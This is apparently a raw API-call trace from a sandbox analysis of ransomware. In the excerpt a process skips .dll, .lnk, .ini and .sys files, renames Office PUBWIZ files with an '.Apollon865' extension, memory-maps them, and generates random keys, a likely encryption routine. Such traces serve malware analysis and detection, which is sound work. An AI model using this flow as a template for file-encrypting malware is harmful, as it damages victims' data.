	[0067.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.066] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1964) returned 1
	[0067.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.067] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.067] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.067] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.067] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.067] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.067] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab0, lpName=0x0) returned 0x100
	[0067.069] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab0) returned 0x100000
	[0067.070] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.071] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.071] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.071] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGMAIN.XML" | out: lpString1="DGMAIN.XML") returned="DGMAIN.XML"
	[0067.071] lstrlenW (lpString="DGMAIN.XML") returned 10
	[0067.071] lstrlenW (lpString="Apollon865") returned 10
	[0067.071] lstrlenW (lpString=".dll") returned 4
	[0067.072] lstrcmpiW (lpString1="DGMAIN.XML", lpString2=".dll") returned 1
	[0067.072] lstrlenW (lpString=".lnk") returned 4
	[0067.072] lstrcmpiW (lpString1="DGMAIN.XML", lpString2=".lnk") returned 1
	[0067.072] lstrlenW (lpString=".ini") returned 4
	[0067.072] lstrcmpiW (lpString1="DGMAIN.XML", lpString2=".ini") returned 1
	[0067.072] lstrlenW (lpString=".sys") returned 4
	[0067.072] lstrcmpiW (lpString1="DGMAIN.XML", lpString2=".sys") returned 1
	[0067.072] lstrlenW (lpString="DGMAIN.XML") returned 10
	[0067.072] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML.Apollon865") returned 71
	[0067.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.073] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3641) returned 1
	[0067.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.073] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.074] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.074] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.074] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1140, lpName=0x0) returned 0x100
	[0067.075] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1140) returned 0x100000
	[0067.077] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.078] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.078] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.078] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGMARQ.DPV" | out: lpString1="DGMARQ.DPV") returned="DGMARQ.DPV"
	[0067.078] lstrlenW (lpString="DGMARQ.DPV") returned 10
	[0067.078] lstrlenW (lpString="Apollon865") returned 10
	[0067.078] lstrlenW (lpString=".dll") returned 4
	[0067.078] lstrcmpiW (lpString1="DGMARQ.DPV", lpString2=".dll") returned 1
	[0067.078] lstrlenW (lpString=".lnk") returned 4
	[0067.078] lstrcmpiW (lpString1="DGMARQ.DPV", lpString2=".lnk") returned 1
	[0067.078] lstrlenW (lpString=".ini") returned 4
	[0067.078] lstrcmpiW (lpString1="DGMARQ.DPV", lpString2=".ini") returned 1
	[0067.078] lstrlenW (lpString=".sys") returned 4
	[0067.078] lstrcmpiW (lpString1="DGMARQ.DPV", lpString2=".sys") returned 1
	[0067.079] lstrlenW (lpString="DGMARQ.DPV") returned 10
	[0067.079] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGMARQ.XML" | out: lpString1="DGMARQ.XML") returned="DGMARQ.XML"
	[0067.079] lstrlenW (lpString="DGMARQ.XML") returned 10
	[0067.079] lstrlenW (lpString="Apollon865") returned 10
	[0067.079] lstrlenW (lpString=".dll") returned 4
	[0067.079] lstrcmpiW (lpString1="DGMARQ.XML", lpString2=".dll") returned 1
	[0067.079] lstrlenW (lpString=".lnk") returned 4
	[0067.079] lstrcmpiW (lpString1="DGMARQ.XML", lpString2=".lnk") returned 1
	[0067.079] lstrlenW (lpString=".ini") returned 4
	[0067.079] lstrcmpiW (lpString1="DGMARQ.XML", lpString2=".ini") returned 1
	[0067.079] lstrlenW (lpString=".sys") returned 4
	[0067.079] lstrcmpiW (lpString1="DGMARQ.XML", lpString2=".sys") returned 1
	[0067.079] lstrlenW (lpString="DGMARQ.XML") returned 10
	[0067.079] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML.Apollon865") returned 71
	[0067.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.081] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=826) returned 1
	[0067.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.081] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.082] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.082] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.082] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x100
	[0067.083] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0067.084] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.085] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.085] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.086] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGMASTHD.DPV" | out: lpString1="DGMASTHD.DPV") returned="DGMASTHD.DPV"
	[0067.086] lstrlenW (lpString="DGMASTHD.DPV") returned 12
	[0067.086] lstrlenW (lpString="Apollon865") returned 10
	[0067.086] lstrcmpiW (lpString1="MASTHD.DPV", lpString2="Apollon865") returned 1
	[0067.086] lstrlenW (lpString=".dll") returned 4
	[0067.086] lstrcmpiW (lpString1="DGMASTHD.DPV", lpString2=".dll") returned 1
	[0067.086] lstrlenW (lpString=".lnk") returned 4
	[0067.086] lstrcmpiW (lpString1="DGMASTHD.DPV", lpString2=".lnk") returned 1
	[0067.086] lstrlenW (lpString=".ini") returned 4
	[0067.086] lstrcmpiW (lpString1="DGMASTHD.DPV", lpString2=".ini") returned 1
	[0067.086] lstrlenW (lpString=".sys") returned 4
	[0067.086] lstrcmpiW (lpString1="DGMASTHD.DPV", lpString2=".sys") returned 1
	[0067.086] lstrlenW (lpString="DGMASTHD.DPV") returned 12
	[0067.086] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGNAVBAR.DPV" | out: lpString1="DGNAVBAR.DPV") returned="DGNAVBAR.DPV"
	[0067.086] lstrlenW (lpString="DGNAVBAR.DPV") returned 12
	[0067.086] lstrlenW (lpString="Apollon865") returned 10
	[0067.086] lstrcmpiW (lpString1="NAVBAR.DPV", lpString2="Apollon865") returned 1
	[0067.086] lstrlenW (lpString=".dll") returned 4
	[0067.086] lstrcmpiW (lpString1="DGNAVBAR.DPV", lpString2=".dll") returned 1
	[0067.086] lstrlenW (lpString=".lnk") returned 4
	[0067.086] lstrcmpiW (lpString1="DGNAVBAR.DPV", lpString2=".lnk") returned 1
	[0067.086] lstrlenW (lpString=".ini") returned 4
	[0067.086] lstrcmpiW (lpString1="DGNAVBAR.DPV", lpString2=".ini") returned 1
	[0067.086] lstrlenW (lpString=".sys") returned 4
	[0067.086] lstrcmpiW (lpString1="DGNAVBAR.DPV", lpString2=".sys") returned 1
	[0067.086] lstrlenW (lpString="DGNAVBAR.DPV") returned 12
	[0067.086] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGNAVBAR.XML" | out: lpString1="DGNAVBAR.XML") returned="DGNAVBAR.XML"
	[0067.087] lstrlenW (lpString="DGNAVBAR.XML") returned 12
	[0067.087] lstrlenW (lpString="Apollon865") returned 10
	[0067.087] lstrcmpiW (lpString1="NAVBAR.XML", lpString2="Apollon865") returned 1
	[0067.087] lstrlenW (lpString=".dll") returned 4
	[0067.087] lstrcmpiW (lpString1="DGNAVBAR.XML", lpString2=".dll") returned 1
	[0067.087] lstrlenW (lpString=".lnk") returned 4
	[0067.087] lstrcmpiW (lpString1="DGNAVBAR.XML", lpString2=".lnk") returned 1
	[0067.087] lstrlenW (lpString=".ini") returned 4
	[0067.087] lstrcmpiW (lpString1="DGNAVBAR.XML", lpString2=".ini") returned 1
	[0067.087] lstrlenW (lpString=".sys") returned 4
	[0067.087] lstrcmpiW (lpString1="DGNAVBAR.XML", lpString2=".sys") returned 1
	[0067.087] lstrlenW (lpString="DGNAVBAR.XML") returned 12
	[0067.087] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML.Apollon865") returned 73
	[0067.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.088] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4546) returned 1
	[0067.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.088] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.089] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.089] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.089] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14d0, lpName=0x0) returned 0x100
	[0067.090] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14d0) returned 0x100000
	[0067.092] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.093] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.093] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.094] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGPICCAP.DPV" | out: lpString1="DGPICCAP.DPV") returned="DGPICCAP.DPV"
	[0067.094] lstrlenW (lpString="DGPICCAP.DPV") returned 12
	[0067.094] lstrlenW (lpString="Apollon865") returned 10
	[0067.094] lstrcmpiW (lpString1="PICCAP.DPV", lpString2="Apollon865") returned 1
	[0067.094] lstrlenW (lpString=".dll") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.DPV", lpString2=".dll") returned 1
	[0067.094] lstrlenW (lpString=".lnk") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.DPV", lpString2=".lnk") returned 1
	[0067.094] lstrlenW (lpString=".ini") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.DPV", lpString2=".ini") returned 1
	[0067.094] lstrlenW (lpString=".sys") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.DPV", lpString2=".sys") returned 1
	[0067.094] lstrlenW (lpString="DGPICCAP.DPV") returned 12
	[0067.094] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGPICCAP.XML" | out: lpString1="DGPICCAP.XML") returned="DGPICCAP.XML"
	[0067.094] lstrlenW (lpString="DGPICCAP.XML") returned 12
	[0067.094] lstrlenW (lpString="Apollon865") returned 10
	[0067.094] lstrcmpiW (lpString1="PICCAP.XML", lpString2="Apollon865") returned 1
	[0067.094] lstrlenW (lpString=".dll") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.XML", lpString2=".dll") returned 1
	[0067.094] lstrlenW (lpString=".lnk") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.XML", lpString2=".lnk") returned 1
	[0067.094] lstrlenW (lpString=".ini") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.XML", lpString2=".ini") returned 1
	[0067.094] lstrlenW (lpString=".sys") returned 4
	[0067.094] lstrcmpiW (lpString1="DGPICCAP.XML", lpString2=".sys") returned 1
	[0067.094] lstrlenW (lpString="DGPICCAP.XML") returned 12
	[0067.094] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML.Apollon865") returned 73
	[0067.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.095] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6858) returned 1
	[0067.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.096] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.096] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.096] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.097] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dd0, lpName=0x0) returned 0x100
	[0067.099] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1dd0) returned 0x100000
	[0067.100] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.100] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.101] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.101] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGPQUOT.DPV" | out: lpString1="DGPQUOT.DPV") returned="DGPQUOT.DPV"
	[0067.101] lstrlenW (lpString="DGPQUOT.DPV") returned 11
	[0067.101] lstrlenW (lpString="Apollon865") returned 10
	[0067.101] lstrcmpiW (lpString1="GPQUOT.DPV", lpString2="Apollon865") returned 1
	[0067.101] lstrlenW (lpString=".dll") returned 4
	[0067.101] lstrcmpiW (lpString1="DGPQUOT.DPV", lpString2=".dll") returned 1
	[0067.101] lstrlenW (lpString=".lnk") returned 4
	[0067.101] lstrcmpiW (lpString1="DGPQUOT.DPV", lpString2=".lnk") returned 1
	[0067.101] lstrlenW (lpString=".ini") returned 4
	[0067.101] lstrcmpiW (lpString1="DGPQUOT.DPV", lpString2=".ini") returned 1
	[0067.101] lstrlenW (lpString=".sys") returned 4
	[0067.101] lstrcmpiW (lpString1="DGPQUOT.DPV", lpString2=".sys") returned 1
	[0067.101] lstrlenW (lpString="DGPQUOT.DPV") returned 11
	[0067.102] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGPQUOT.XML" | out: lpString1="DGPQUOT.XML") returned="DGPQUOT.XML"
	[0067.102] lstrlenW (lpString="DGPQUOT.XML") returned 11
	[0067.102] lstrlenW (lpString="Apollon865") returned 10
	[0067.102] lstrcmpiW (lpString1="GPQUOT.XML", lpString2="Apollon865") returned 1
	[0067.102] lstrlenW (lpString=".dll") returned 4
	[0067.102] lstrcmpiW (lpString1="DGPQUOT.XML", lpString2=".dll") returned 1
	[0067.102] lstrlenW (lpString=".lnk") returned 4
	[0067.102] lstrcmpiW (lpString1="DGPQUOT.XML", lpString2=".lnk") returned 1
	[0067.102] lstrlenW (lpString=".ini") returned 4
	[0067.102] lstrcmpiW (lpString1="DGPQUOT.XML", lpString2=".ini") returned 1
	[0067.102] lstrlenW (lpString=".sys") returned 4
	[0067.102] lstrcmpiW (lpString1="DGPQUOT.XML", lpString2=".sys") returned 1
	[0067.102] lstrlenW (lpString="DGPQUOT.XML") returned 11
	[0067.102] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML.Apollon865") returned 72
	[0067.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.104] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7072) returned 1
	[0067.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.105] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.105] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.105] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.106] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ea0, lpName=0x0) returned 0x100
	[0067.107] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ea0) returned 0x100000
	[0067.109] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.110] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.110] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.111] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGPUNCT.DPV" | out: lpString1="DGPUNCT.DPV") returned="DGPUNCT.DPV"
	[0067.111] lstrlenW (lpString="DGPUNCT.DPV") returned 11
	[0067.111] lstrlenW (lpString="Apollon865") returned 10
	[0067.111] lstrcmpiW (lpString1="GPUNCT.DPV", lpString2="Apollon865") returned 1
	[0067.111] lstrlenW (lpString=".dll") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.DPV", lpString2=".dll") returned 1
	[0067.111] lstrlenW (lpString=".lnk") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.DPV", lpString2=".lnk") returned 1
	[0067.111] lstrlenW (lpString=".ini") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.DPV", lpString2=".ini") returned 1
	[0067.111] lstrlenW (lpString=".sys") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.DPV", lpString2=".sys") returned 1
	[0067.111] lstrlenW (lpString="DGPUNCT.DPV") returned 11
	[0067.111] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGPUNCT.XML" | out: lpString1="DGPUNCT.XML") returned="DGPUNCT.XML"
	[0067.111] lstrlenW (lpString="DGPUNCT.XML") returned 11
	[0067.111] lstrlenW (lpString="Apollon865") returned 10
	[0067.111] lstrcmpiW (lpString1="GPUNCT.XML", lpString2="Apollon865") returned 1
	[0067.111] lstrlenW (lpString=".dll") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.XML", lpString2=".dll") returned 1
	[0067.111] lstrlenW (lpString=".lnk") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.XML", lpString2=".lnk") returned 1
	[0067.111] lstrlenW (lpString=".ini") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.XML", lpString2=".ini") returned 1
	[0067.111] lstrlenW (lpString=".sys") returned 4
	[0067.111] lstrcmpiW (lpString1="DGPUNCT.XML", lpString2=".sys") returned 1
	[0067.111] lstrlenW (lpString="DGPUNCT.XML") returned 11
	[0067.112] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML.Apollon865") returned 72
